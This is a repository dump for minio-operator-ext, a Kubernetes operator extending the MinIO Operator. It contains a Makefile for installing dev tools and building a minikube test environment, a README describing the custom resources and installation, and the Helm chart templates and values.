$(ASSETS)/controller-gen 23 | CONTROLLER_GEN_URL = https://github.com/kubernetes-sigs/controller-tools/releases/download/v$(CONTROLLER_GEN_VERSION)/controller-gen-$(OS)-$(ARCH) 24 | CRANE = $(ASSETS)/crane 25 | CRANE_CMD = env $(CRANE) 26 | CRANE_URL = https://github.com/google/go-containerregistry/releases/download/v$(CRANE_VERSION)/go-containerregistry_$(OS)_$(ALTARCH).tar.gz 27 | CRDS_MANIFEST = $(ASSETS)/crds.yaml 28 | CRDS_MANIFEST_SRC = $(DEV)/manifests/crds 29 | HELM = $(ASSETS)/helm 30 | HELM_CMD = env $(HELM) 31 | HELM_URL = https://get.helm.sh/helm-v$(HELM_VERSION)-$(OS)-$(ARCH).tar.gz 32 | HELM_DOCS = $(ASSETS)/helm-docs 33 | HELM_DOCS_CMD = env $(HELM_DOCS) 34 | HELM_DOCS_URL = https://github.com/norwoodj/helm-docs/releases/download/v$(HELM_DOCS_VERSION)/helm-docs_$(HELM_DOCS_VERSION)_$(OS)_$(ALTARCH).tar.gz 35 | KUBECONFIG = $(ASSETS)/kube-config.yaml 36 | KUBECTL = $(ASSETS)/kubectl 37 | KUBECTL_CMD = env KUBECONFIG=$(KUBECONFIG) $(ASSETS)/kubectl 38 | KUBECTL_URL = https://dl.k8s.io/release/v$(KUBERNETES_VERSION)/bin/$(OS)/$(ARCH)/kubectl 39 | KUSTOMIZE_CMD = $(KUBECTL_CMD) kustomize --enable-helm --load-restrictor=LoadRestrictionsNone 40 | LB_HOSTS_MANAGER = $(ASSETS)/lb-hosts-manager 41 | LB_HOSTS_MANAGER_CMD = env KUBECONFIG=$(KUBECONFIG) $(LB_HOSTS_MANAGER) 42 | LB_HOSTS_MANAGER_LOG = $(ASSETS)/lb-hosts-manager.log 43 | LB_HOSTS_MANAGER_URL = https://github.com/benfiola/lb-hosts-manager/releases/download/v$(LB_HOSTS_MANAGER_VERSION)/lb-hosts-manager-$(OS)-$(ARCH) 44 | MC = $(ASSETS)/mc 45 | MC_CMD = env MINIO_INSECURE=1 MINIO_DISABLE_PAGER=1 $(MC) 46 | MC_URL = https://dl.min.io/client/mc/release/$(OS)-$(ARCH)/archive/mc.RELEASE.$(MC_VERSION) 47 | MINIKUBE = $(ASSETS)/minikube 48 | MINIKUBE_CMD = env KUBECONFIG=$(KUBECONFIG) MINIKUBE_HOME=$(ASSETS)/.minikube $(MINIKUBE) 49 | MINIKUBE_TUNNEL_LOG = $(ASSETS)/.minikube/tunnel.log 50 | MINIKUBE_URL = https://github.com/kubernetes/minikube/releases/download/v$(MINIKUBE_VERSION)/minikube-$(OS)-$(ARCH) 51 | MINIO_OPERATOR_MANIFEST = $(ASSETS)/minio-operator.yaml 52 | MINIO_OPERATOR_MANIFEST_SRC = $(DEV)/manifests/minio-operator 53 | MINIO_TENANT_MANIFEST = $(ASSETS)/minio-tenant.yaml 54 | MINIO_TENANT_MANIFEST_SRC = $(DEV)/manifests/minio-tenant 55 | OPENLDAP_MANIFEST = $(ASSETS)/openldap.yaml 56 | OPENLDAP_MANIFEST_SRC = $(DEV)/manifests/openldap 57 | 58 | .PHONY: default 59 | default: 60 | 61 | .PHONY: clean 62 | clean: delete-minikube-cluster 63 | # delete asset directory 64 | rm -rf $(ASSETS) 65 | 66 | .PHONY: dev-env 67 | dev-env: create-minikube-cluster apply-manifests start-minikube-tunnel start-lb-hosts-manager wait-for-ready 68 | 69 | .PHONY: e2e-test 70 | e2e-test: 71 | go test -count=1 -v ./internal/e2e 72 | 73 | .PHONY: create-minikube-cluster 74 | create-minikube-cluster: $(MINIKUBE) 75 | # create minikube cluster 76 | $(MINIKUBE_CMD) start --force --kubernetes-version=$(KUBERNETES_VERSION) 77 | 78 | .PHONY: delete-minikube-cluster 79 | delete-minikube-cluster: $(MINIKUBE) 80 | # delete minikube cluster 81 | $(MINIKUBE_CMD) delete || true 82 | 83 | .PHONY: set-minio-identity-provider-builtin 84 | set-minio-identity-provider-builtin: $(MC) 85 | # add ldap identity provider 86 | $(MC_CMD) idp ldap add local server_addr=openldap.default.svc:389 lookup_bind_dn=cn='ldap-admin,dc=example,dc=org' lookup_bind_password=ldap-admin user_dn_search_base_dn='ou=users,dc=example,dc=org' user_dn_search_filter='(&(objectClass=posixAccount)(uid=%s))' group_search_base_dn='ou=users,dc=example,dc=org' group_search_filter='(&(objectClass=groupOfNames)(member=%d))' server_insecure=on 87 | # restart minio tenant 88 | $(MC_CMD) admin service restart local --json 89 | 90 | .PHONY: set-minio-identity-provider-ldap 91 | set-minio-identity-provider-ldap: $(MC) 92 | # remove ldap identity provider 93 | $(MC_CMD) idp ldap remove local 94 | # restart minio tenant 95 | $(MC_CMD) admin service restart local --json 96 | 97 | .PHONY: start-lb-hosts-manager 98 | start-lb-hosts-manager: $(LB_HOSTS_MANAGER) 99 | # send SIGTERM to existing lb-hosts-managers 100 | pkill -x -f '$(LB_HOSTS_MANAGER) run' || true 101 | # wait for existing lb-hosts-managers to exit 102 | while true; do pgrep -x -f '$(LB_HOSTS_MANAGER) run' || break; sleep 1; done 103 | # launch lb-hosts-manager 104 | nohup $(LB_HOSTS_MANAGER_CMD) run > $(LB_HOSTS_MANAGER_LOG) 2>&1 & 105 | 106 | .PHONY: start-minikube-tunnel 107 | start-minikube-tunnel: $(LB_HOSTS_MANAGER) 108 | # send SIGTERM to existing minikube tunnels 109 | pkill -x -f '$(MINIKUBE) tunnel' || true 110 | # wait for existing minikube tunnels to exit 111 | while true; do pgrep -x -f '$(MINIKUBE) tunnel' || break; sleep 1; done 112 | # launch minikube tunnel 113 | nohup $(MINIKUBE_CMD) tunnel > $(MINIKUBE_TUNNEL_LOG) 2>&1 & 114 | 115 | .PHONY: wait-for-ready 116 | wait-for-ready: 117 | # wait for minio to be connectable 118 | while true; do curl --max-time 2 -I --insecure https://minio.default.svc > /dev/null 2>&1 && break; sleep 1; done; 119 | 120 | .PHONY: generate 121 | generate: $(CONTROLLER_GEN) 122 | # generate deepcopy 123 | $(CONTROLLER_GEN) object paths=./... 124 | # clean up generated crd chart paths 125 | rm -rf ./charts/crds/generated ./charts/crds/LICENSE 126 | mkdir -p ./charts/crds/generated 127 | # generate crd chart content 128 | $(CONTROLLER_GEN) crd paths=./... output:stdout > ./charts/crds/generated/crds.yaml 129 | cp ./LICENSE.md ./charts/crds/LICENSE 130 | # clean up generated operator chart paths 131 | rm -rf ./charts/operator/generated ./charts/operator/LICENSE 132 | mkdir -p ./charts/operator/generated 133 | # generate operator chart content 134 | $(CONTROLLER_GEN) rbac:roleName=__roleName__ paths=./... output:stdout > ./charts/operator/generated/rbac.yaml 135 | cp ./LICENSE.md ./charts/operator/LICENSE 136 | 137 | $(ASSETS): 138 | # create .dev directory 139 | mkdir -p $(ASSETS) 140 | 141 | .PHONY: install-tools 142 | install-tools: $(CONTROLLER_GEN) $(CRANE) $(HELM) $(HELM_DOCS) $(LB_HOSTS_MANAGER) $(KUBECTL) $(MC) $(MINIKUBE) 143 | 144 | $(CONTROLLER_GEN): | $(ASSETS) 145 | # install controller-gen 146 | # download 147 | curl -o $(CONTROLLER_GEN) -fsSL $(CONTROLLER_GEN_URL) 148 | # make executable 149 | chmod +x $(CONTROLLER_GEN) 150 | 151 | $(CRANE): | $(ASSETS) 152 | # install crane 153 | # create extract directory 154 | mkdir -p $(ASSETS)/.tmp 155 | # download archive 156 | curl -o $(ASSETS)/.tmp/archive.tar.gz -fsSL $(CRANE_URL) 157 | # extract archive 158 | tar xzf $(ASSETS)/.tmp/archive.tar.gz -C $(ASSETS)/.tmp 159 | # copy executable 160 | cp $(ASSETS)/.tmp/crane $(CRANE) 161 | # delete extract directory 162 | rm -rf $(ASSETS)/.tmp 163 | 164 | $(HELM): | $(ASSETS) 165 | # install helm 166 | # create extract directory 167 | mkdir -p $(ASSETS)/.tmp 168 | # download archive 169 | curl -o $(ASSETS)/.tmp/archive.tar.gz -fsSL $(HELM_URL) 170 | # extract archive 171 | tar xzf $(ASSETS)/.tmp/archive.tar.gz -C $(ASSETS)/.tmp --strip-components 1 172 | # copy executable 173 | cp $(ASSETS)/.tmp/helm $(HELM) 174 | # delete extract directory 175 | rm -rf $(ASSETS)/.tmp 176 | 177 | $(HELM_DOCS): | $(ASSETS) 178 | # install helm-docs 179 | # create extract directory 180 | mkdir -p $(ASSETS)/.tmp 181 | # download archive 182 | curl -o $(ASSETS)/.tmp/archive.tar.gz -fsSL $(HELM_DOCS_URL) 183 | # extract archive 184 | tar xzf $(ASSETS)/.tmp/archive.tar.gz -C $(ASSETS)/.tmp 185 | # copy executable 186 | cp $(ASSETS)/.tmp/helm-docs $(HELM_DOCS) 187 | # delete extract directory 188 | rm -rf $(ASSETS)/.tmp 189 | 190 | $(LB_HOSTS_MANAGER): | $(ASSETS) 191 | # install lb-hosts-manager 192 | # download 193 | curl -o $(LB_HOSTS_MANAGER) -fsSL $(LB_HOSTS_MANAGER_URL) 194 | # make executable 195 | chmod +x $(LB_HOSTS_MANAGER) 196 | 197 | $(KUBECTL): | $(ASSETS) 198 | # install kubectl 199 | # download 200 | curl -o $(KUBECTL) -fsSL $(KUBECTL_URL) 201 | # make kubectl executable 202 | chmod +x $(KUBECTL) 203 | 204 | $(MC): | $(ASSETS) 205 | # install mc 206 | # download 207 | curl -o $(MC) -fsSL $(MC_URL) 208 | # make executable 209 | chmod +x $(MC) 210 | 211 | $(MINIKUBE): | $(ASSETS) 212 | # install minikube 213 | # download 214 | curl -o $(MINIKUBE) -fsSL $(MINIKUBE_URL) 215 | # make executable 216 | chmod +x $(MINIKUBE) 217 | 218 | # MANIFESTS 219 | 220 | .PHONY: apply-manifests 221 | apply-manifests: $(CRDS_MANIFEST) $(KUBECTL) $(MINIO_OPERATOR_MANIFEST) $(MINIO_TENANT_MANIFEST) $(OPENLDAP_MANIFEST) 222 | # deploy minio operator 223 | $(KUBECTL_CMD) apply -f $(MINIO_OPERATOR_MANIFEST) 224 | # deploy minio tenant 225 | $(KUBECTL_CMD) apply -f $(MINIO_TENANT_MANIFEST) 226 | # deploy openldap 227 | $(KUBECTL_CMD) apply -f $(OPENLDAP_MANIFEST) 228 | # deploy crds 229 | $(KUBECTL_CMD) apply -f $(CRDS_MANIFEST) 230 | 231 | $(CRDS_MANIFEST): generate $(KUBECTL) $(HELM) | $(ASSETS) 232 | # generate crds manifest 233 | $(KUSTOMIZE_CMD) $(CRDS_MANIFEST_SRC) > $(CRDS_MANIFEST) 234 | 235 | $(MINIO_OPERATOR_MANIFEST): $(KUBECTL) $(HELM) | $(ASSETS) 236 | # generate minio operator manifest 237 | $(KUSTOMIZE_CMD) $(MINIO_OPERATOR_MANIFEST_SRC) > $(MINIO_OPERATOR_MANIFEST) 238 | 239 | $(MINIO_TENANT_MANIFEST): $(KUBECTL) $(HELM) | $(ASSETS) 240 | # generate minio operator manifest 241 | $(KUSTOMIZE_CMD) $(MINIO_TENANT_MANIFEST_SRC) > $(MINIO_TENANT_MANIFEST) 242 | 243 | $(OPENLDAP_MANIFEST): $(KUBECTL) | $(ASSETS) 244 | # generate openldap manifest 245 | $(KUSTOMIZE_CMD) $(OPENLDAP_MANIFEST_SRC) > $(OPENLDAP_MANIFEST) 246 | 247 | # HELM CHART 248 | 249 | .PHONY: helm-install 250 | helm-install: 251 | $(HELM) install -n minio minio-operator-ext ./charts/crds 252 | $(HELM) install -n minio minio-operator-ext ./charts/operator 253 | 254 | .PHONY: helm-uninstall 255 | helm-uninstall: 256 | $(HELM) uninstall -n minio minio-operator-ext 257 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # minio-operator-ext 2 | 3 | The [MinIO Operator](https://github.com/minio/operator) currently is capable of deploying MinIO tenants - but does not expose any mechanisms by which one could declaratively manage resources within a MinIO tenant. 4 | 5 | This repo extends the MinIO Operator (i.e., minio-operator-ext(ension)) - providing an additional [operator](./internal/operator/operator.go) and [CRDs](./charts/crds/templates/crds.yaml) that allow one to declaratiely manage users, buckets, policies and policy bindings. 6 | 7 | ## Resources 8 | 9 | Currently, this operator manages the following resources: 10 | 11 | - Users (`MinioUser`) 12 | - Buckets (`MinioBucket`) 13 | - Groups (`MinioGroup`) 14 | - Group Membership (`MinioGroupBinding`) 15 | - Policies (`MinioPolicy`) 16 | - Policy Membership (`MinioPolicyBinding`) 17 | 18 | Examples of these resources can be found [here](./manifests/example-resources.yaml). 19 | 20 | ## Installation 21 | 22 | > [!IMPORTANT] 23 | > 24 | > Read [this](https://github.com/hiddenwool/minio-operator-ext/issues/16#issuecomment-2401553200) if you are updating from version 1.X.X to version 2.X.X of the operator. 25 | 26 | Use [helm](https://helm.sh/) to install the operator: 27 | 28 | ```shell 29 | # add the minio-operator-ext helm chart repository 30 | helm repo add minio-operator-ext https://benfiola.github.io/minio-operator-ext/charts 31 | # deploy the crds 32 | helm install minio-operator-ext-crds minio-operator-ext/crds 33 | # deploy the operator 34 | helm install minio-operator-ext-operator minio-operator-ext/operator 35 | ``` 36 | 37 | Documentation for these helm charts can be found [here](https://benfiola.github.io/minio-operator-ext/). 38 | 39 | ### Image 40 | 41 | The operator is hosted on docker hub and can be found at [docker.io/benfiola/minio-operator-ext](https://hub.docker.com/r/benfiola/minio-operator-ext). 42 | 43 | The following arguments/environment variables configure the operator: 44 | 45 | | CLI | Env | Default | Description | 46 | | --------------- | -------------------------------- | ------- | -------------------------------------------------------------------------------- | 47 | | _--log-level_ | _MINIO_OPERATOR_EXT_LOG_LEVEL_ | `info` | Logging verbosity for the operator | 48 | | _--kube-config_ | _MINIO_OPERATOR_EXT_KUBE_CONFIG_ | `null` | Optional path to a kubeconfig file. When omitted, uses in-cluster configuration. | 49 | 50 | ### RBAC 51 | 52 | The operator requires the a service account with the following RBAC settings: 53 | 54 | | Resource | Verbs | Why | 55 | | -------------------------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------- | 56 | | minio.min.io/v2/Tenant | Get | Used to discover MinIO tenants | 57 | | v1/ConfigMap | Get | Used to obtain the CA bundle used to generate a MinIO tenant's TLS certificates (- for HTTP client cert validation) | 58 | | v1/Secret | Get | Used to fetch a MinIO tenant's configuration (which is stored as a secret) | 59 | | v1/Services | Get | Used to determine a MinIO tenant's internal endpoint | 60 | | bfiola.dev/v1/MinioBucket | Get, Watch, List, Update | Required for the operator to manage minio bucket resources | 61 | | bfiola.dev/v1/MinioGroup | Get, Watch, List, Update | Required for the operator to manage minio group resources | 62 | | bfiola.dev/v1/MinioGroupBinding | Get, Watch, List, Update | Required for the operator to manage minio group membership | 63 | | bfiola.dev/v1/MinioPolicy | Get, Watch, List, Update | Required for the operator to manage minio policies | 64 | | bfiola.dev/v1/MinioPolicyBinding | Get, Watch, List, Update | Required for the operator to manage minio policy attachments | 65 | | bfiola.dev/v1/MinioUser | Get, Watch, List, Update | Required for the operator to manage minio user resources | 66 | 67 | ## Limitations 68 | 69 | Some minio resource properties are ignored on update. This is done by design to prevent accidental, destructive changes. 70 | 71 | | Property | Why | 72 | | ------------------------ | ------------------------------------------------------------ | 73 | | MinioBucket.Spec.Name | Can break MinioPolicy resources, delete data | 74 | | MinioGroup.Spec.Name | Can break MinioGroupBinding and MinioPolicyBinding resources | 75 | | MinioUser.Spec.AccessKey | Can break MinioGroupBinding and MinioPolicyBinding resources | 76 | | MinioPolicy.Spec.Name | Can break MinioPolicyBinding resources | 77 | 78 | ## Migrations 79 | 80 | > [!CAUTION] 81 | > 82 | > The operator is designed to manage the entire lifecycle of its resources. This feature allows the operator to 'take ownership' of Minio objects it did not originally create. Once the operator takes ownership of these existing Minio objects - it _can_ and _will_ modify them to match the state of its corresponding Kubernetes resources! 83 | 84 | In more complex scenarios, users might want the operator to manage existing Minio objects. To accomplish this: 85 | 86 | 1. Model and deploy a _minio-operator-ext_ resource modelling the existing Minio object. 87 | 2. Verify that the deployed resource _fails to reconcile_ because the operator detects that the resource already exists 88 | 3. Patch/edit the resource - adding a new field, _.spec.migrate_, set to _true_. For example, an edited resource might look like: 89 | 90 | ```yaml 91 | apiVersion: bfiola.dev/v1 92 | kind: MinioBucket 93 | ... 94 | spec: 95 | ... 96 | migrate: true # <- add this field 97 | ``` 98 | 99 | 4. The operator will acknowledge the _.spec.migrate_ field, ignore existence checks and 'take ownership' of the existing resource. 100 | 5. The operator will delete the _.spec.migrate_ field - indicating that the operator now manages the resource. 101 | 102 | > [!NOTE] 103 | > 104 | > This spec field is _automatically_ removed by the operator once it takes ownership of a resource. 105 | 106 | ## Development 107 | 108 | I personally use [vscode](https://code.visualstudio.com/) as an IDE. For a consistent development experience, this project is also configured to utilize [devcontainers](https://containers.dev/). If you're using both - and you have the [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) installed - you can follow the [introductory docs](https://code.visualstudio.com/docs/devcontainers/tutorial) to quickly get started. 109 | 110 | NOTE: Helper scripts are written under the assumption that they're being executed within a dev container. 111 | 112 | ### Installing tools 113 | 114 | From the project root, run the following to install useful tools. Currently, this includes: 115 | 116 | - helm 117 | - helm-docs 118 | - kubectl 119 | - lb-hosts-manager 120 | - mc 121 | - minikube 122 | 123 | ```shell 124 | cd /workspaces/minio-operator-ext 125 | make install-tools 126 | ``` 127 | 128 | ### Creating a development environment 129 | 130 | From the project root, run the following to create a development environment to test the operator with: 131 | 132 | ```shell 133 | cd /workspaces/minio-operator-ext 134 | make dev-env 135 | ``` 136 | 137 | This will: 138 | 139 | - Create a new minikube cluster 140 | - Install the minio operator 141 | - Create a minio tenant 142 | - Deploy an ldap server 143 | - Apply the [custom resources](./manifests/crds.yaml) 144 | - Apply the [example resources](./manifests/example-resources.yaml) 145 | - Wait for minio tenant to be accessible 146 | - Forward minio tenant and ldap services to be available locally under their cluster-local DNS names 147 | 148 | ### Run end-to-end tests 149 | 150 | With a development environment deployed, you can run end-to-end operator tests to confirm the operator functions as expected: 151 | 152 | ```shell 153 | cd /workspaces/minio-operator-ext 154 | make e2e-test 155 | ``` 156 | 157 | ### Testing LDAP identities 158 | 159 | After creating a local development cluster, you can configure minio to use the deployed LDAP server as its identity provider: 160 | 161 | ```shell 162 | cd /workspaces/minio-operator-ext 163 | make set-minio-identity-provider-ldap 164 | ``` 165 | 166 | NOTE: With an identity provider configured, attempts to operate on builtin identities will fail. 167 | 168 | ### Creating a debug script 169 | 170 | Copy the [./dev/dev.go.template](./dev/dev.go.template) script to `./dev/dev.go`, then run it to start the operator. `./dev/dev.go` is ignored by git and can be modified as needed to help facilitate local development. 171 | 172 | Additionally, the devcontainer is configured with a vscode launch configuration that points to `./dev/dev.go`. You should be able to launch (and attach a debugger to) the webhook via this vscode launch configuration. 173 | -------------------------------------------------------------------------------- /charts/crds/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *.orig 18 | *~ 19 | # Various IDEs 20 | .project 21 | .idea/ 22 | *.tmproj 23 | .vscode/ 24 | -------------------------------------------------------------------------------- /charts/crds/Chart.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v2 3 | name: crds 4 | home: "https://github.com/hiddenwool/minio-operator-ext" 5 | description: | 6 | Deploys the custom resource definitions used by the minio-operator-ext operator 7 | type: application 8 | version: "0.0.0" 9 | appVersion: "0.0.0" 10 | -------------------------------------------------------------------------------- /charts/crds/README.md.gotmpl: -------------------------------------------------------------------------------- 1 | {{ template "chart.header" . }} 2 | {{ template "chart.deprecationWarning" . }} 3 | 4 | {{ template "chart.description" . }} 5 | 6 | {{ template "chart.homepageLine" . }} 7 | 8 | {{ template "chart.maintainersSection" . }} 9 | 10 | {{ template "chart.sourcesSection" . }} 11 | 12 | {{ template "chart.requirementsSection" . }} 13 | 14 | {{ template "chart.valuesSection" . }} 15 | -------------------------------------------------------------------------------- /charts/crds/templates/crds.yaml: -------------------------------------------------------------------------------- 1 | {{- if true -}} 2 | --- 3 | {{- .Files.Get "generated/crds.yaml" -}} 4 | {{- end }} -------------------------------------------------------------------------------- /charts/crds/values.yaml: -------------------------------------------------------------------------------- 1 | # Default values for crds. 2 | # Currently, this chart doesn't require any values and thus returns an empty map. 3 | {} 4 | -------------------------------------------------------------------------------- /charts/operator/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *.orig 18 | *~ 19 | # Various IDEs 20 | .project 21 | .idea/ 22 | *.tmproj 23 | .vscode/ 24 | -------------------------------------------------------------------------------- /charts/operator/Chart.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v2 3 | name: operator 4 | home: "https://github.com/hiddenwool/minio-operator-ext" 5 | description: | 6 | Deploy minio-operator-ext, an operator that allows for declarative management of MinIO resources 7 | type: application 8 | version: "0.0.0" 9 | appVersion: "0.0.0" 10 | -------------------------------------------------------------------------------- /charts/operator/README.md.gotmpl: -------------------------------------------------------------------------------- 1 | {{ template "chart.header" . }} 2 | {{ template "chart.deprecationWarning" . }} 3 | 4 | {{ template "chart.description" . }} 5 | 6 | {{ template "chart.homepageLine" . }} 7 | 8 | {{ template "chart.maintainersSection" . }} 9 | 10 | {{ template "chart.sourcesSection" . }} 11 | 12 | {{ template "chart.requirementsSection" . }} 13 | 14 | {{ template "chart.valuesSection" . }} 15 | -------------------------------------------------------------------------------- /charts/operator/templates/_helpers.tpl: -------------------------------------------------------------------------------- 1 | {{/* 2 | Expand the name of the chart. 3 | */}} 4 | {{- define "operator.name" -}} 5 | {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} 6 | {{- end }} 7 | 8 | {{/* 9 | Create a default fully qualified app name. 10 | We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). 11 | If release name contains chart name it will be used as a full name. 12 | */}} 13 | {{- define "operator.fullname" -}} 14 | {{- if .Values.fullnameOverride }} 15 | {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} 16 | {{- else }} 17 | {{- $name := default .Chart.Name .Values.nameOverride }} 18 | {{- if contains $name .Release.Name }} 19 | {{- .Release.Name | trunc 63 | trimSuffix "-" }} 20 | {{- else }} 21 | {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} 22 | {{- end }} 23 | {{- end }} 24 | {{- end }} 25 | 26 | {{/* 27 | Create chart name and version as used by the chart label. 28 | */}} 29 | {{- define "operator.chart" -}} 30 | {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} 31 | {{- end }} 32 | 33 | {{/* 34 | Common labels 35 | */}} 36 | {{- define "operator.labels" -}} 37 | helm.sh/chart: {{ include "operator.chart" . }} 38 | {{ include "operator.selectorLabels" . }} 39 | {{- if .Chart.AppVersion }} 40 | app.kubernetes.io/version: {{ .Chart.AppVersion | replace "+" "-" | quote }} 41 | {{- end }} 42 | app.kubernetes.io/managed-by: {{ .Release.Service }} 43 | {{- end }} 44 | 45 | {{/* 46 | Selector labels 47 | */}} 48 | {{- define "operator.selectorLabels" -}} 49 | app.kubernetes.io/name: {{ include "operator.name" . }} 50 | app.kubernetes.io/instance: {{ .Release.Name }} 51 | {{- end }} 52 | 53 | {{/* 54 | Create the name of the service account to use 55 | */}} 56 | {{- define "operator.serviceAccountName" -}} 57 | {{- if .Values.serviceAccount.create }} 58 | {{- default (include "operator.fullname" .) .Values.serviceAccount.name }} 59 | {{- else }} 60 | {{- default "default" .Values.serviceAccount.name }} 61 | {{- end }} 62 | {{- end }} 63 | 64 | {{/* 65 | Create the name of the ClusterRole to use 66 | */}} 67 | {{- define "operator.clusterRoleName" -}} 68 | {{- default (include "operator.fullname" .) .Values.rbac.name }} 69 | {{- end }} 70 | 71 | {{/* 72 | Determine the operator image tag to use 73 | */}} 74 | {{- define "operator.imageTag" -}} 75 | {{ .Values.image.tag | default (.Chart.AppVersion | replace "+" "-") }} 76 | {{- end }} 77 | -------------------------------------------------------------------------------- /charts/operator/templates/clusterrole.yaml: -------------------------------------------------------------------------------- 1 | {{- if .Values.rbac.create -}} 2 | --- 3 | apiVersion: rbac.authorization.k8s.io/v1 4 | kind: ClusterRole 5 | metadata: 6 | name: {{ include "operator.clusterRoleName" . }} 7 | labels: 8 | {{- include "operator.labels" . | nindent 4 }} 9 | rules: 10 | {{- $rbac := .Files.Get "generated/rbac.yaml" | fromYaml -}} 11 | {{- get $rbac "rules" | toYaml | nindent 2 -}} 12 | {{- end }} 13 | -------------------------------------------------------------------------------- /charts/operator/templates/clusterrolebinding.yaml: -------------------------------------------------------------------------------- 1 | {{- if .Values.rbac.create -}} 2 | --- 3 | apiVersion: rbac.authorization.k8s.io/v1 4 | kind: ClusterRoleBinding 5 | metadata: 6 | name: {{ include "operator.clusterRoleName" . }} 7 | labels: 8 | {{- include "operator.labels" . | nindent 4 }} 9 | roleRef: 10 | apiGroup: rbac.authorization.k8s.io 11 | kind: ClusterRole 12 | name: {{ include "operator.clusterRoleName" . }} 13 | subjects: 14 | - kind: ServiceAccount 15 | name: {{ include "operator.serviceAccountName" . }} 16 | namespace: {{ .Release.Namespace }} 17 | {{- end }} 18 | -------------------------------------------------------------------------------- /charts/operator/templates/deployment.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: {{ include "operator.fullname" . }} 6 | labels: 7 | {{- include "operator.labels" . | nindent 4 }} 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | {{- include "operator.selectorLabels" . | nindent 6 }} 13 | template: 14 | metadata: 15 | {{- with .Values.podAnnotations }} 16 | annotations: 17 | {{- toYaml . | nindent 8 }} 18 | {{- end }} 19 | labels: 20 | {{- include "operator.labels" . | nindent 8 }} 21 | {{- with .Values.podLabels }} 22 | {{- toYaml . | nindent 8 }} 23 | {{- end }} 24 | spec: 25 | {{- with .Values.imagePullSecrets }} 26 | imagePullSecrets: 27 | {{- toYaml . | nindent 8 }} 28 | {{- end }} 29 | serviceAccountName: {{ include "operator.serviceAccountName" . }} 30 | securityContext: 31 | {{- toYaml .Values.podSecurityContext | nindent 8 }} 32 | containers: 33 | - name: {{ .Chart.Name }} 34 | securityContext: 35 | {{- toYaml .Values.securityContext | nindent 12 }} 36 | image: "{{ .Values.image.repository }}:{{ include "operator.imageTag" . }}" 37 | imagePullPolicy: {{ .Values.image.pullPolicy }} 38 | args: 39 | - run 40 | livenessProbe: 41 | {{- toYaml .Values.livenessProbe | nindent 12 }} 42 | readinessProbe: 43 | {{- toYaml .Values.readinessProbe | nindent 12 }} 44 | resources: 45 | {{- toYaml .Values.resources | nindent 12 }} 46 | {{- with .Values.nodeSelector }} 47 | nodeSelector: 48 | {{- toYaml . | nindent 8 }} 49 | {{- end }} 50 | {{- with .Values.affinity }} 51 | affinity: 52 | {{- toYaml . | nindent 8 }} 53 | {{- end }} 54 | {{- with .Values.tolerations }} 55 | tolerations: 56 | {{- toYaml . | nindent 8 }} 57 | {{- end }} 58 | -------------------------------------------------------------------------------- /charts/operator/templates/serviceaccount.yaml: -------------------------------------------------------------------------------- 1 | {{- if .Values.serviceAccount.create -}} 2 | --- 3 | apiVersion: v1 4 | kind: ServiceAccount 5 | metadata: 6 | name: {{ include "operator.serviceAccountName" . }} 7 | labels: 8 | {{- include "operator.labels" . | nindent 4 }} 9 | {{- with .Values.serviceAccount.annotations }} 10 | annotations: 11 | {{- toYaml . | nindent 4 }} 12 | {{- end }} 13 | automountServiceAccountToken: {{ .Values.serviceAccount.automount }} 14 | {{- end }} 15 | -------------------------------------------------------------------------------- /charts/operator/values.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # Default values for operator. 3 | image: 4 | # -- Specify the repository to pull the image from 5 | repository: docker.io/benfiola/minio-operator-ext 6 | # -- Define the pull policy for workloads using this image 7 | pullPolicy: IfNotPresent 8 | # -- Define the image tag to use 9 | # If unset, uses the chart's app version. 10 | tag: "" 11 | 12 | # -- Specify (if necessary) secrets required to pull the image. More info: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/ 13 | imagePullSecrets: [] 14 | # -- Override the chart name 15 | nameOverride: "" 16 | # -- Override the fully qualified name of resources created by this chart 17 | fullnameOverride: "" 18 | 19 | serviceAccount: 20 | # -- Specifies whether a service account should be created 21 | create: true 22 | # -- Automatically mount a ServiceAccount's API credentials? 23 | automount: true 24 | # -- Annotations to add to the service account 25 | annotations: {} 26 | # -- The name of the service account to use. 27 | # If not set and create is true, a name is generated using the fullname template 28 | name: "" 29 | 30 | rbac: 31 | # -- Specifies whether a ClusterRole and ClusterRoleBinding should be created 32 | create: true 33 | # -- The name of the ClusterRole and ClusterRoleBinding to create. 34 | # If not set and create is true, a name is generated using the fullname template 35 | name: "" 36 | 37 | # -- Sets annotations for all pods created by this chart. 38 | podAnnotations: {} 39 | # -- Sets labels to set for all pods created by this chart. 40 | podLabels: {} 41 | 42 | # -- Sets the operator pod's security context 43 | podSecurityContext: 44 | {} 45 | # fsGroup: 2000 46 | 47 | # -- Sets the operator deployment's security context 48 | securityContext: 49 | allowPrivilegeEscalation: false 50 | capabilities: 51 | drop: 52 | - ALL 53 | 